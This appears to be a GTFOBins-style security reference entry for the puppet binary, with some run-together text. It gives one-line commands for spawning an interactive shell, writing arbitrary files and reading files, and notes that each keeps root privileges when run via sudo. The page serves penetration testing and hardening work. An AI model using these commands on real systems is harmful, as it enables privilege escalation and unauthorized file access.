puppet
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
puppet apply -e "exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }"This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.puppet apply -e "exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }"
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
puppet apply -e 'file { "/path/to/output-file": content => "DATA" }'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.puppet apply -e 'file { "/path/to/output-file": content => "DATA" }'
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
puppet filebucket -l diff /dev/null /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.puppet filebucket -l diff /dev/null /path/to/input-file